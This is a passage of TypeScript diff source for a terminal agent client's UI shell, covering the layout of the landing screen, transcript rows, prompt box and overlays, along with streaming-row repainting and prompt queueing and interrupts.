shell.overlayBodyLines.length, 1) : 0, + padH, + ) + if (bag !== undefined && landing !== null && split !== null) { + landing.above.box.height = Math.max(1, split.above) + // A new zone can seat a different tier, and a tier is a different grid, so + // the mark is redrawn rather than left showing the previous size's frame. + fitLandingMark( + landing.above, + resolveMarkGrid(split.above, layout.contentWidth), + ) + paintLandingMark(landing.above, bag.landingNowMs, !bag.landingAnimating) + landing.below.height = Math.max(0, split.below) + landing.below.visible = split.below > 0 + } + + const transcriptBody = + split === null ? transcriptH - padH - bottomPadH : Math.max(1, split.above) + shell.transcript.height = transcriptBody > 0 ? transcriptBody : 1 + shell.transcript.visible = transcriptBody > 0 + syncTranscriptSpacer(shell) + + const noticeH = Math.max(0, h.notice) + shell.notice.height = noticeH > 0 ? noticeH : 1 + shell.notice.visible = noticeH > 0 + + const promptH = Math.max(1, h.prompt) + shell.promptBox.height = promptH + shell.promptBox.visible = promptH > 0 + // The field takes whatever the box has left once both labelled rules are paid. + const promptInnerH = Math.max(1, promptH - 2) + shell.promptField.height = promptInnerH + // Sized explicitly rather than left to grow with its content: past the cap the + // input has to scroll inside a fixed window instead of pushing the frame open. + shell.prompt.height = promptInnerH + + // Sized last: the float is anchored against chrome sized earlier in this + // pass. Modal over the landing, an in-flow band once there is a transcript + // to push. + const floating = landing !== null && overlayH > 0 + // Rows the flow spends before the prompt box — where a floated host's bottom + // edge has to land, since the landing's box sits mid-screen rather than at + // the foot and covering it would hide the thing the operator types into. + const promptTop = padH + goalH + taskH + agentsH + transcriptBody + const hostH = floating ? Math.min(overlayH, Math.max(1, promptTop)) : overlayH + floatOverlayHost(shell, floating, Math.max(0, promptTop - hostH)) + shell.overlayHost.height = hostH > 0 ? hostH : 1 + shell.overlayHost.visible = hostH > 0 + if (hostH > 0 && shell.overlayList) { + const chrome = overlayChromeRows(shell, shell.overlayBodyLines.length) + const bodyH = Math.max(1, hostH - chrome) + // The viewport counts items, not rows; a decision overlay spends several + // rows per item, so the row budget has to be divided back down. + const perItem = overlayRowsPerItem(shell.overlayKind) + shell.overlayList = setListHeight( + shell.overlayList, + Math.max(1, Math.floor(bodyH / perItem)), + ) + paintOverlayList(shell) + } + + paintPromptBorder(shell) + + // The landing owns the transcript's children until the first row lands, so a + // resize there must not rebuild them out from under it. + if (widthChanged && shell.streamLog.length > 0 && !isLanding(shell)) { + repaintTranscriptWindow(shell) + } + + paintChrome(shell) +} + +/** + * Re-size the prompt box for what is now in it. Cheap enough to run on every + * content change: it re-resolves geometry only when the row count actually + * moves, which is once per wrapped line gained or lost. + */ +export function syncPromptRows(shell: AppShell): void { + const rows = promptBoxRows(promptRowCount(shell.prompt), shell.renderer.height) + if (rows === shell.layout.heights.prompt) return + relayout(shell, { promptContentRows: rows }) +} + +export type RelayoutOpts = { + readonly columns?: number + readonly rows?: number + readonly visibility?: ZoneVisibility + readonly promptContentRows?: number + readonly overlayMode?: OverlayMode + readonly overlayBodyRows?: number +} + +type PriorOverlaySnapshot = { + readonly kind: PrimaryOverlayKind | null + readonly items: readonly string[] + readonly bodyLines: readonly string[] + readonly bodyFgs: readonly string[] + readonly list: ListViewportState + readonly title: string + readonly paletteCommands: readonly PaletteCommand[] + readonly itemIds: readonly string[] + readonly onAccept: ((selection: OverlaySelection) => void) | null + readonly onToggleExpand: (() => void) | null + readonly onCycle: ((itemId: string, direction: -1 | 1) => void) | null + readonly describe: ((itemId: string) => ItemDescription | null) | null + readonly onAction: ((itemId: string, key: KeyEvent) => boolean) | null + readonly answer: OverlayAnswerState | null + readonly titleText: string +} + +type ShellInternals = { + visibility: ZoneVisibility + promptContentRows: number | undefined + overlayMode: OverlayMode + overlayBodyRows: number | undefined + /** Snapshot when palette stacks over another primary overlay. */ + priorOverlay: PriorOverlaySnapshot | null + /** Optional stable ids aligned with overlayItems for the open primary. */ + overlayItemIds: readonly string[] + /** Per-open accept callback; cleared on close without invoke (Esc path). */ + overlayOnAccept: ((selection: OverlaySelection) => void) | null + /** Per-open expand/collapse hook for the open primary overlay. */ + overlayOnToggleExpand: (() => void) | null + /** Per-open ← → cycle hook for the open primary overlay (settings inline cycling). */ + overlayOnCycle: ((itemId: string, direction: -1 | 1) => void) | null + /** Per-open description-zone source; null keeps the zone off (no rows charged). */ + overlayDescribe: ((itemId: string) => ItemDescription | null) | null + /** Per-open bare-key claim for the open primary overlay. */ + overlayOnAction: ((itemId: string, key: KeyEvent) => boolean) | null + /** Per-open free-text answer field, when the overlay opted into one. */ + overlayAnswer: OverlayAnswerState | null + /** Bare title of the open overlay, so its key hints can be re-composed. */ + overlayTitleText: string + /** Fired once the shell has no overlay open, so queued gates can re-open. */ + overlayClosedListeners: Set<() => void> + /** + * Default palette catalog (static or lazy). Used when openPalette omits catalog. + * Residual DEFAULT_PALETTE_COMMANDS when unset. + */ + paletteCatalog: + | readonly PaletteCommand[] + | (() => readonly PaletteCommand[]) + | null + /** Live filter state for the open palette, so typing can re-filter it. */ + paletteFilter: PaletteFilterState | null + /** + * Landing composition shown while the transcript has no content: the mark + * above the prompt box, the disclosure and starters below it. Dropped (not + * hidden) on the first row so it never occupies a transcript line later. + */ + landing: { readonly above: LandingAbove; readonly below: BoxRenderable } | null + /** + * The disclosure the landing is showing. Re-appended to the transcript when + * the landing tears down so consent-by-proceeding leaves a durable record + * rather than a screen the first prompt wipes. + */ + landingNotice: string | null + /** What the rows below the box are painting, so they can be repainted. */ + landingBelow: LandingBelowContent | null + /** Starters are offered only while the prompt is empty. */ + landingSuggestionsVisible: boolean + /** Whether the last painted mark frame was a moving one. */ + landingAnimating: boolean + /** Clock of the last painted mark frame, so a resize can redraw in place. */ + landingNowMs: number + /** Chrome text content (empty = zone off). */ + chrome: { + goal: string + task: string + agents: string + } +} + +const internals = new WeakMap() + +/** + * Leading filler row inside the transcript's scroll content. Bottom-anchors a + * short transcript against the prompt box below: sized to the leftover + * viewport space so few rows sit at the foot of the zone instead of stranded + * at its top. Once rows fill the viewport the filler settles at zero and + * sticky-scroll behaves exactly as it did before this existed. + * + * A real child rather than padding: the content box's `minHeight: "100%"` + * (`@opentui/core`'s own default, so it never reads shorter than the + * viewport) means padding cannot be measured back out of `scrollHeight` — + * it always reads as the viewport height regardless of how little real + * content there is. A child's own height is unaffected by that floor, so + * `scrollHeight - spacer.height` reliably isolates the rows' real height. + * + * This does cost every row-index code path (`getChildren()`-based lookups + * below, and the two external tests noted at their call sites) one constant + * offset: index 0 is always the spacer, never a row. + */ +const transcriptSpacers = new WeakMap() + +/** + * Resize the transcript's leading filler to soak up leftover viewport space. + * Reads `scrollHeight` (content height, filler included) net of the filler's + * own last-applied height, so it stays correct regardless of wrapping, + * markdown, or windowed long-log rebuilds. + * + * Deliberately NOT called at row-mutation time: `scrollHeight` reflects the + * last completed layout, not the tree as it stands the instant a row lands — + * a row whose own box needs a layout pass to size itself (structured/tool/ + * collapsible rows) reads back as shorter than it really is for one frame. + * Growing the filler on that stale reading would claim room the row still + * needs and bury it. Called from the render-frame hook instead, once that + * pass has actually run. + */ +function syncTranscriptSpacer(shell: AppShell): void { + const spacer = transcriptSpacers.get(shell) + if (spacer === undefined) return + // The landing screen already bottom-anchors its own mark against the box + // via the above/below split; a filler competing for the same content box + // would double-count that space and squeeze the mark. + if (isLanding(shell)) { + if (spacer.height !== 0) spacer.height = 0 + return + } + const rowsHeight = Math.max(0, shell.transcript.scrollHeight - spacer.height) + const nextHeight = Math.max(0, shell.transcript.height - rowsHeight) + if (spacer.height !== nextHeight) spacer.height = nextHeight +} + + +export function relayout(shell: AppShell, opts?: RelayoutOpts): GeometryLayout { + const bag = internals.get(shell) + const visibility = opts?.visibility ?? bag?.visibility ?? defaultVisibility() + const promptContentRows = opts?.promptContentRows ?? bag?.promptContentRows + const overlayMode = opts?.overlayMode ?? bag?.overlayMode ?? "closed" + const overlayBodyRows = opts?.overlayBodyRows ?? bag?.overlayBodyRows + if (bag) { + bag.visibility = visibility + bag.promptContentRows = promptContentRows + bag.overlayMode = overlayMode + bag.overlayBodyRows = overlayBodyRows + } + + const columns = opts?.columns ?? shell.renderer.width + const rows = opts?.rows ?? shell.renderer.height + const layout = resolveGeometry({ + terminal: terminalOf(shell.renderer, { columns, rows }), + visibility, + overlay: + overlayMode === "closed" + ? { mode: "closed" } + : { + mode: overlayMode, + ...(overlayBodyRows !== undefined + ? { bodyRows: overlayBodyRows } + : {}), + }, + ...(promptContentRows !== undefined ? { promptContentRows } : {}), + // The landing owns the screen until the first transcript row lands, so + // holding rows back for a transcript that does not exist would only clip + // whatever the operator opened over it. An open overlay is the exception: + // it asks for exactly as many rows as it has content, and without the floor + // a long list would claim the whole screen instead of scrolling. + ...(isLanding(shell) && overlayMode === "closed" + ? { transcriptFloor: 0 } + : {}), + }) + applyLayout(shell, layout) + return layout +} + +/** + * Append a raw line to the sticky transcript ScrollBox. + * stickyScroll + stickyStart "bottom" auto-follow until the operator scrolls up. + */ +export function appendTranscript( + shell: AppShell, + line: string, + opts?: { readonly fg?: string }, +): void { + clearLandingMark(shell) + shell.lineCount += 1 + shell.transcript.add( + new TextRenderable(shell.renderer as CliRenderer, { + content: ` ${line}`, + fg: opts?.fg ?? UI.text, + }), + ) + paintChrome(shell) +} + +/** + * Append a role-styled stream row to the **parent** transcript. + * While subagent observe is active, rows go to the parent snapshot only + * (not painted); leave restores them with the parent lease. + */ +export function appendStreamRow(shell: AppShell, row: StreamRow): void { + if (shell.observe !== null && shell.parentStreamLog !== null) { + shell.parentStreamLog.push(row) + return + } + paintAppendStreamRow(shell, row) +} + +/** + * Append a child stream row while observing a subagent. + * Host-pushed live events (not only fixture seed lines). No-op when not observing. + * @returns true when the row was applied to the observe view + */ +export function appendObserveStreamRow(shell: AppShell, row: StreamRow): boolean { + if (shell.observe === null) return false + shell.observe.lines.push(row) + paintAppendStreamRow(shell, row) + return true +} + +/** + * Surface every row is laid out against: the transcript's own column budget + * (rows right-align and wrap themselves) and whether writers need naming. + * The scroll bars are hidden, so the transcript owns the whole content zone. + */ +export function transcriptRowLayout(shell: AppShell): RowLayout { + return { + width: Math.max(1, shell.layout.contentWidth), + multiAgent: shell.agentVoices.size > 1, + } +} + +/** + * Record a row's writer. Returns true when the transcript has just gained a + * second voice — every earlier row now needs the label it was painted without. + */ +function noteAgentVoice(shell: AppShell, row: StreamRow): boolean { + if (row.role === "user") return false + const before = shell.agentVoices.size + shell.agentVoices.add(row.agent ?? MAIN_AGENT) + return before === 1 && shell.agentVoices.size === 2 +} + +/** Row immediately before `index` in the log, or undefined at the start. */ +function rowBefore(shell: AppShell, index: number): StreamRow | undefined { + return index > 0 ? shell.streamLog[index - 1] : undefined +} + +/** Blank rows the row at `index` claims above itself. */ +function gapBefore(shell: AppShell, index: number): number { + const row = shell.streamLog[index] + if (row === undefined) return 0 + return rowGroupGap(rowBefore(shell, index), row) +} + +/** + * Writer label the row at `index` carries above it, or null mid-block. + * A block is exactly a gap-free run from one writer, so this tracks + * `gapBefore` rather than keeping its own notion of block boundaries. + */ +function labelBefore(shell: AppShell, index: number): string | null { + const row = shell.streamLog[index] + if (row === undefined) return null + return blockLabel(rowBefore(shell, index), row, transcriptRowLayout(shell)) +} + +/** Paint + push onto the visible streamLog (child while observing, parent otherwise). */ +function paintAppendStreamRow(shell: AppShell, row: StreamRow): void { + clearLandingMark(shell) + const gainedVoice = noteAgentVoice(shell, row) + shell.streamLog.push(row) + shell.lineCount = shell.streamLog.length + + // Under collapse threshold: append one paint node (cheap). + // Over threshold: rebuild the windowed paint tree only. + if (!gainedVoice && !mustWindow(shell.streamLog.length)) { + const index = shell.streamLog.length - 1 + shell.transcript.add( + createStreamRowRenderable(shell, row, gapBefore(shell, index), labelBefore(shell, index), index), + ) + paintChrome(shell) + return + } + + repaintTranscriptWindow(shell) + paintChrome(shell) +} + +/** Row count of the log `appendStreamRow` currently targets (parent or observe). */ +export function streamRowCount(shell: AppShell): number { + return shell.observe !== null && shell.parentStreamLog !== null + ? shell.parentStreamLog.length + : shell.streamLog.length +} + +/** + * Row at `index` on the log `appendStreamRow` currently targets. A tool result + * rewrites the call row it answers rather than appending its own, and needs to + * read that row back to fold into it. + */ +export function streamRowAt(shell: AppShell, index: number): StreamRow | undefined { + const log = + shell.observe !== null && shell.parentStreamLog !== null + ? shell.parentStreamLog + : shell.streamLog + return index >= 0 && index < log.length ? log[index] : undefined +} + +/** + * Drop every row from `length` onward on the log `appendStreamRow` targets. + * + * A committed inference attempt that fails is re-streamed from scratch, so the + * transcript has to retract what the failed attempt already painted instead of + * letting the replay pile up underneath it. + */ +export function truncateStreamRows(shell: AppShell, length: number): void { + const log = + shell.observe !== null && shell.parentStreamLog !== null + ? shell.parentStreamLog + : shell.streamLog + if (length < 0 || length >= log.length) return + log.length = length + if (log !== shell.streamLog) return + shell.lineCount = shell.streamLog.length + repaintTranscriptWindow(shell) + paintChrome(shell) +} + +/** + * Row-index code paths (below, and the two windowed-rebuild callers) treat + * `getChildren()` as a 1:1 array with `streamLog`. The leading bottom-anchor + * spacer (see `transcriptSpacers`) breaks that at index 0, so every consumer + * that needs the row-only view goes through here rather than the raw call. + */ +function transcriptRowChildren(shell: AppShell): readonly BaseRenderable[] { + return shell.transcript.getChildren().slice(1) +} + +/** + * Rewrite an already-appended transcript row in place. + * + * Streaming assistant and thinking bodies grow token by token; the bridge keeps + * one open row and replaces it on every delta rather than appending a row per + * token. Repaints only the affected node while the log fits without windowing. + */ +export function replaceStreamRowAt( + shell: AppShell, + index: number, + row: StreamRow, +): void { + if (shell.observe !== null && shell.parentStreamLog !== null) { + if (index >= 0 && index < shell.parentStreamLog.length) { + shell.parentStreamLog[index] = row + } + return + } + if (index < 0 || index >= shell.streamLog.length) return + shell.streamLog[index] = row + + const children = transcriptRowChildren(shell) + // A raw appendTranscript line breaks the 1:1 node↔row mapping; fall back to + // the windowed rebuild, which derives every node from the log. + if (mustWindow(shell.streamLog.length) || children.length !== shell.streamLog.length) { + repaintTranscriptWindow(shell) + paintChrome(shell) + return + } + + const stale = children[index] + if (stale && retextStreamRow(shell, stale, row, labelBefore(shell, index))) { + paintChrome(shell) + return + } + if (stale) { + shell.transcript.remove(stale) + destroySubtree(stale) + } + // +1: index 0 in the transcript's own child list is the bottom-anchor + // spacer, not a row (see `transcriptRowChildren`). + shell.transcript.add( + createStreamRowRenderable(shell, row, gapBefore(shell, index), labelBefore(shell, index), index), + index + 1, + ) + paintChrome(shell) +} + +/** + * Rewrite a row's body on its existing paint node. + * + * Streaming rows are replaced on every token, and tearing the node down each + * time would drop the markdown parser's block state — the very thing that makes + * incremental rendering stable. Returns false when the node shape does not + * match the row and the caller must rebuild it — including a row whose block + * label just appeared or disappeared, since that changes the node's shape. + */ +function retextStreamRow( + shell: AppShell, + node: BaseRenderable, + row: StreamRow, + label: string | null, +): boolean { + if (row.diff !== undefined || row.structured !== undefined) return false + // A sentence-style tool row paints via styled lines (verb + coloured + // subject, and a diff/detail tail once expanded) rather than a single-fg + // TextRenderable, so it always rebuilds like diff/structured rows do. + if (isSentenceRow(row)) return false + // Expanding swaps a text row for a styled-lines box: a different node shape + // and a different height, so the caller must rebuild rather than re-text. + if (isExpansionRow(row)) return false + const layout = transcriptRowLayout(shell) + + if (label !== null) { + if (!(node instanceof BoxRenderable)) return false + const [headerNode, innerNode] = node.getChildren() + if (!(headerNode instanceof TextRenderable) || innerNode === undefined) return false + if (!retextStreamRowBody(innerNode, row, layout)) return false + headerNode.content = label + return true + } + + return retextStreamRowBody(node, row, layout) +} + +/** The shape-matching rewrite shared by labelled and unlabelled rows. */ +function retextStreamRowBody( + node: BaseRenderable, + row: StreamRow, + layout: RowLayout, +): boolean { + if (node instanceof TextRenderable) { + if (isMarkdownRow(row)) return false + node.content = paintStreamRow(row, layout).content + return true + } + + if (!(node instanceof BoxRenderable) || !isMarkdownRow(row)) return false + const [gutterNode, bodyNode] = node.getChildren() + if ( + !(gutterNode instanceof TextRenderable) || + !(bodyNode instanceof MarkdownRenderable) + ) { + return false + } + const gutter = streamRowGutter(row, layout) + gutterNode.content = gutter.content + gutterNode.width = stringWidth(gutter.content) + bodyNode.width = markdownBodyColumns(gutter, layout) + bodyNode.content = markdownContent(row) + bodyNode.streaming = row.streaming === true + return true +} + +/** Rebuild transcript paint tree from the long-log window (O(window), not O(total)). */ +export function repaintTranscriptWindow(shell: AppShell): void { + clearLandingMark(shell) + shell.agentVoices = new Set(agentVoicesIn(shell.streamLog)) + // The bottom-anchor spacer (index 0) stays; only row nodes get torn down. + const children = transcriptRowChildren(shell) + for (const child of [...children]) { + shell.transcript.remove(child) + destroySubtree(child) + } + + const win = windowSlice(shell.streamLog, { windowSize: LONG_LOG_WINDOW }) + if (win.truncatedAbove) { + shell.transcript.add( + new TextRenderable(shell.renderer as CliRenderer, { + content: ` ${collapseMarker(win.start)}`, + fg: UI.textDim, + }), + ) + } + win.rows.forEach((row, offset) => { + const index = win.start + offset + shell.transcript.add( + createStreamRowRenderable(shell, row, gapBefore(shell, index), labelBefore(shell, index), index), + ) + }) +} + +/** + * Tear the landing down on the first transcript row. + * + * The prompt box travels from the middle of the screen to the bottom, which is + * a jump; it happens on the same frame as the operator's own first row so it + * reads as the screen answering them rather than as the layout twitching. + */ +function clearLandingMark(shell: AppShell): void { + const bag = internals.get(shell) + const landing = bag?.landing + if (bag === undefined || landing === null || landing === undefined) return + bag.landing = null + shell.transcript.remove(landing.above.box) + destroySubtree(landing.above.box) + shell.root.remove(landing.below) + destroySubtree(landing.below) + relayout(shell) + + const notice = bag.landingNotice + if (notice !== null) { + bag.landingNotice = null + appendStreamRow(shell, { role: "system", text: notice }) + } +} + +/** + * Repaint the landing mark for `nowMs`. `animating` runs the draw/fill/fade + * timeline; anything else holds the filled frame. No-op once the landing is + * gone, so the caller can drive it unconditionally. + * + * A still mark draws the same frame for every clock value, so repainting it + * only dirties renderables; the guard mirrors `setLockupFrame` and lets an idle + * session sit without touching the paint tree. + */ +export function paintLanding( + shell: AppShell, + nowMs: number, + animating: boolean, +): void { + const bag = internals.get(shell) + const landing = bag?.landing + if (bag === undefined || landing === null || landing === undefined) return + if (!animating && !bag.landingAnimating) return + bag.landingAnimating = animating + bag.landingNowMs = nowMs + paintLandingMark(landing.above, nowMs, !animating) +} + +/** True while the landing composition is still mounted. */ +export function isLanding(shell: AppShell): boolean { + return (internals.get(shell)?.landing ?? null) !== null +} + +/** + * Fill the prompt from a landing starter. Returns false when the key selects + * nothing, the landing is gone, or the operator has already typed. + */ +export function applyLandingSuggestion(shell: AppShell, key: string): boolean { + if (!isLanding(shell) || shell.prompt.value.length > 0) return false + const suggestion = landingSuggestionFor(key) + if (suggestion === null) return false + shell.prompt.value = suggestion.prompt + return true +} + +/** + * Prefix column beside a body the renderer owns. Width is pinned to the painted + * columns so an empty gutter — a lone agent's own prose — costs none, and the + * answer starts on the transcript's first column. + */ +function gutterNode(ctx: CliRenderer, gutter: PaintedStreamLine): TextRenderable { + return new TextRenderable(ctx, { + content: gutter.content, + fg: gutter.fg, + flexShrink: 0, + width: stringWidth(gutter.content), + }) +} + +/** + * Columns a markdown body may paint into: the transcript budget less the + * row's own prefix. Pinned rather than left to `flexGrow`, which reports the + * body's intrinsic width to yoga and lets a wide table paint past the edge. + */ +function markdownBodyColumns(gutter: PaintedStreamLine, layout: RowLayout): number { + return Math.max(1, layout.width - stringWidth(gutter.content)) +} + +/** + * Markdown tables shrink to the row's column budget rather than overflowing: + * columns are fitted proportionally and cells wrap on word boundaries. A table + * still too wide for its narrowest fit is clipped by the body's pinned width, + * which keeps it inside the transcript instead of painting over the chrome. + */ +const TRANSCRIPT_TABLE_OPTIONS = { + wrapMode: "word", + columnFitter: "proportional", +} as const + +/** + * Markdown source for a row, with a half-arrived heading marker withheld. + * + * A trailing `####` with nothing after it yet is not a heading — it is literal + * text, and that is what the parser makes of it, so the row paints the bare + * markers for one delta and drops them the moment the title's first character + * lands. Holding that line back until it has content keeps a line's + * classification from flipping under text that is already on screen. + */ +function markdownContent(row: StreamRow): string { + if (row.streaming !== true) return row.text + return row.text.replace(/(^|\n)#{1,6}[ \t]*$/, "$1") +} + +/** + * Build the row-shaped paint node: a MarkdownRenderable body next to a plain + * gutter for markdown-bearing rows (assistant replies), a TextTableRenderable + * for structured rows (MCP results), a coloured diff body for edit-tool rows, + * and literal text for everything else. + */ +function buildRowNode( + ctx: CliRenderer, + row: StreamRow, + layout: RowLayout, + onToggle?: () => void, +): TextRenderable | BoxRenderable { + if (isSentenceRow(row)) { + // The sentence is one line: it is cut to the columns beside the marker + // rather than wrapped, so a long URL or query cannot double the row. + const columns = Math.max( + 1, + layout.width - stringWidth(streamRowGutter(row, layout).content), + ) + if (row.structured !== undefined) { + // The table is what the sentence hides; collapsed, the sentence is the row. + return row.expanded === true + ? createStructuredRowRenderable( + ctx, + row, + layout, + row.structured, + toolSentenceLines(row, columns), + onToggle, + ) + : createStyledLinesRowRenderable( + ctx, + row, + layout, + toolSentenceLines(row, columns), + onToggle, + ) + } + return createStyledLinesRowRenderable( + ctx, + row, + layout, + toolRowLines(row, columns), + onToggle, + ) + } + + if (row.diff !== undefined) { + return createStyledLinesRowRenderable(ctx, row, layout, row.diff.lines) + } + + const expanded = expandedRowLines(row, layout) + if (expanded !== null) { + return createStyledLinesRowRenderable(ctx, row, layout, expanded) + } + + if (row.structured !== undefined) { + return createStructuredRowRenderable(ctx, row, layout, row.structured) + } + + if (!isMarkdownRow(row)) { + const painted = paintStreamRow(row, layout) + return new TextRenderable(ctx, { content: painted.content, fg: painted.fg }) + } + + const gutter = streamRowGutter(row, layout) + const wrapper = new BoxRenderable(ctx, { flexDirection: "row", width: "100%" }) + wrapper.add(gutterNode(ctx, gutter)) + wrapper.add( + new MarkdownRenderable(ctx, { + content: markdownContent(row), + syntaxStyle: transcriptSyntaxStyle(), + fg: gutter.fg, + width: markdownBodyColumns(gutter, layout), + flexShrink: 0, + tableOptions: TRANSCRIPT_TABLE_OPTIONS, + // Native incremental block stability: only the trailing block is unstable. + streaming: row.streaming === true, + }), + ) + return wrapper +} + +/** + * Build the paint node for one transcript row, including its writer label + * when this row opens a new block (see `blockLabel`). The label is one text + * child stacked above the row's own node in a column wrapper — never a + * separate transcript child — so the 1:1 log-index-to-child mapping holds. + */ +export function createStreamRowRenderable( + shell: AppShell, + row: StreamRow, + marginTop = 0, + label: string | null = null, + index?: number, +): TextRenderable | BoxRenderable { + const ctx = shell.renderer as CliRenderer + const layout = transcriptRowLayout(shell) + // Rows are only ever appended, so an index taken at build time stays the + // row's index for as long as its node lives. + const onToggle = + index === undefined || !isCollapsibleRow(row) + ? undefined + : () => { + toggleRowExpandedAt(shell, index) + } + const node = buildRowNode(ctx, row, layout, onToggle) + + if (label === null) { + node.marginTop = marginTop + return node + } + + const wrapper = new BoxRenderable(ctx, { flexDirection: "column", width: "100%", marginTop }) + wrapper.add(new TextRenderable(ctx, { content: label, fg: UI.textDim })) + wrapper.add(node) + return wrapper +} + +/** Map one styled body line's segments to native text chunks. */ +function diffLineChunks(line: StyledBodyLine): TextChunk[] { + return line.map((segment) => { + const chunk = fgChunk(segment.fg)(segment.text) + return segment.bold === true ? boldChunk(chunk) : chunk + }) +} + +/** + * Gutter + one text line per body row, for bodies that arrive already coloured + * and already laid out (a diff, an expanded tool call's structured arguments). + * Each line paints inside the body column, so a wrapped line lands under the + * body rather than in the shell's gutter. + */ +function createStyledLinesRowRenderable( + ctx: CliRenderer, + row: StreamRow, + layout: RowLayout, + lines: readonly StyledBodyLine[], + onToggle?: () => void, +): BoxRenderable { + const gutter = streamRowGutter(row, layout) + const wrapper = new BoxRenderable(ctx, { + flexDirection: "row", + width: "100%", + }) + wrapper.add(gutterNode(ctx, gutter)) + const body = new BoxRenderable(ctx, { + flexDirection: "column", + flexGrow: 1, + }) + for (const line of lines) { + body.add(bodyLineNode(ctx, line, onToggle)) + } + wrapper.add(body) + return wrapper +} + +/** + * One painted body line. A line ending in an expand arrow is split so the + * arrow is its own renderable and can answer a click; every other line is a + * single text node, as before. + */ +function bodyLineNode( + ctx: CliRenderer, + line: StyledBodyLine, + onToggle?: () => void, +): TextRenderable | BoxRenderable { + const split = onToggle === undefined ? null : splitTrailingArrow(line) + if (split === null || onToggle === undefined) { + return new TextRenderable(ctx, { content: new StyledText(diffLineChunks(line)) }) + } + const wrapper = new BoxRenderable(ctx, { flexDirection: "row", flexGrow: 1 }) + wrapper.add( + new TextRenderable(ctx, { + content: new StyledText(diffLineChunks(split.body)), + flexShrink: 0, + }), + ) + wrapper.add( + new TextRenderable(ctx, { + content: new StyledText(diffLineChunks([split.arrow])), + flexShrink: 0, + width: stringWidth(split.arrow.text), + onMouseDown: (event) => { + // The transcript scroll box drags on the same press; a toggle is not a + // scroll gesture, so the arrow keeps the event. + event.stopPropagation() + onToggle() + }, + }), + ) + return wrapper +} + +/** + * Gutter + native table body for a structured (MCP result) row, under the head + * lines the row collapses to. The head and the table share one body column so + * the table stays inside the shell's gutter. + */ +function createStructuredRowRenderable( + ctx: CliRenderer, + row: StreamRow, + layout: RowLayout, + view: McpStructuredView, + head: readonly StyledBodyLine[] = [], + onToggle?: () => void, +): BoxRenderable { + const gutter = streamRowGutter(row, layout) + const wrapper = new BoxRenderable(ctx, { + flexDirection: "row", + width: "100%", + }) + wrapper.add(gutterNode(ctx, gutter)) + const body = new BoxRenderable(ctx, { flexDirection: "column", flexGrow: 1 }) + for (const line of head) { + body.add(bodyLineNode(ctx, line, onToggle)) + } + body.add( + new TextTableRenderable(ctx, { + content: viewToTableContent(view), + columnWidthMode: "content", + columnGap: 2, + showBorders: false, + wrapMode: "none", + flexGrow: 1, + }), + ) + wrapper.add(body) + return wrapper +} + +export function setHeader(shell: AppShell, text: string): void { + shell.baseTitle = text + paintChrome(shell) +} + +export function setPendingQueue(shell: AppShell, count: number): void { + let s = shell.session + const target = Math.max(0, Math.floor(count)) + while (badgeCount(s) > target) { + s = { ...s, items: s.items.slice(0, -1) } + } + while (badgeCount(s) < target) { + s = enqueue(s, `pad-${badgeCount(s) + 1}`) + } + shell.session = s + paintChrome(shell) +} + +export function setShellRunState(shell: AppShell, run: RunState): void { + shell.session = setRunState(shell.session, run) + paintChrome(shell) +} + +/** Submit prompt as queue (busy) or immediate user send (idle). */ +export function submitPrompt( + shell: AppShell, + kind: "queue" | "steer" = "queue", +): void { + const text = shell.prompt.value + const t = text.trim() + const attachments = shell.pendingAttachments + if (t.length === 0 && attachments.length === 0) return + + // Shell/REPL muscle memory: a bare `exit` or `quit` quits rather than being + // sent to the model. Attachments mean the operator meant it as a message. + if (attachments.length === 0 && isExitCommand(t)) { + const onExit = shellExitHandlers.get(shell) + if (onExit !== undefined) { + shell.prompt.value = "" + onExit() + return + } + } + + if (t.length > 0) recordSentMessage(shell, t) + const hooks = getShellBridgeHooks(shell) + if (hooks?.exclusive) { + shell.prompt.value = "" + clearPendingAttachments(shell) + const resolved: "queue" | "steer" | "immediate" = + shell.session.run === "idle" ? "immediate" : kind + hooks.onSubmit(text, resolved, attachments) + return + } + + if (shell.session.run === "idle") { + appendStreamRow(shell, { role: "user", text: t }) + shell.prompt.value = "" + clearPendingAttachments(shell) + return + } + + shell.session = + kind === "steer" ? enqueueSteer(shell.session, t) : enqueue(shell.session, t) + shell.prompt.value = "" + clearPendingAttachments(shell) + const tag = kind === "steer" ? "steer" : "queue" + appendStreamRow(shell, { + role: "system", + text: `${tag} +1 → pending ${badgeCount(shell.session)}`, + meta: "queue", + }) + paintChrome(shell) +} + +/** Local interrupt mutation (no bridge re-entry). */ +export function applyShellInterrupt(shell: AppShell): void { + const had = badgeCount(shell.session) + shell.session = interrupt(shell.session) + shell.prompt.value = "" + appendStreamRow(shell, { + role: "system", + text: `interrupt — discarded ${had} pending`, + meta: "stop", + }) + paintChrome(shell) +} + +/** Ctrl+C interrupt path: clear pending, flash, idle. */ +export function interruptShell(shell: AppShell): void { + const hooks = getShellBridgeHooks(shell) + if (hooks?.exclusive) { + hooks.onInterrupt() + return + } + applyShellInterrupt(shell) +} + +export function clearShellInterruptFlash(shell: AppShell): void { + shell.session = clearInterruptFlash(shell.session) + paintChrome(shell) +} + +const OVERLAY_FRAME_ID = "inset-demo" + +/** Wrap body text for the overlay host (shared with overlays.ts). */ +export function wrapShellOverlayBody( + text: string, + width: number, + maxLines = 8, +): readonly string[] { + return wrapOverlayText(text, Math.max(8, Math.floor(width)), maxLines) +} + +/** + * Context rows a decision overlay's body may occupy. The shaped body charges + * its header and its two rows of air on top of this, so the spacing never + * costs the operator a row of the command they are being asked to approve. + */ +const DECISION_CONTEXT_ROWS = 8 + +/** Re-shape and store the open overlay's body rows for the current width. */ +function applyOverlayBodyText( + shell: AppShell, + text: string, + maxLines: number, +): void { + const width = overlayRowWidth(shell) + if (text.length === 0) { + shell.overlayBodyLines = [] + shell.overlayBodyFgs = [] + return + } + if (isDecisionOverlay(shell.overlayKind)) { + const rows = composeDecisionBody(text, width, DECISION_CONTEXT_ROWS) + shell.overlayBodyLines = rows.map((r) => r.text) + shell.overlayBodyFgs = rows.map((r) => r.fg) + return + } + const lines = wrapOverlayText(text, width, maxLines) + shell.overlayBodyLines = lines + shell.overlayBodyFgs = lines.map(() => UI.text) +} + +export type OpenListOverlayOpts = { + readonly kind?: PrimaryOverlayKind + readonly title?: string + readonly items?: readonly string[] + /** Optional stable ids aligned with `items` (permission scope ids, model ids). */ + readonly itemIds?: readonly string[] + readonly body?: string + readonly activeIndex?: number + readonly frameId?: string + /** + * Per-open accept callback. Takes precedence over shell-level overlay hooks + * for this open. Not invoked on Esc / closeInsetOverlay. + */ + readonly onAccept?: (selection: OverlaySelection) => void + /** + * Per-open expand/collapse hook. When set, the modal 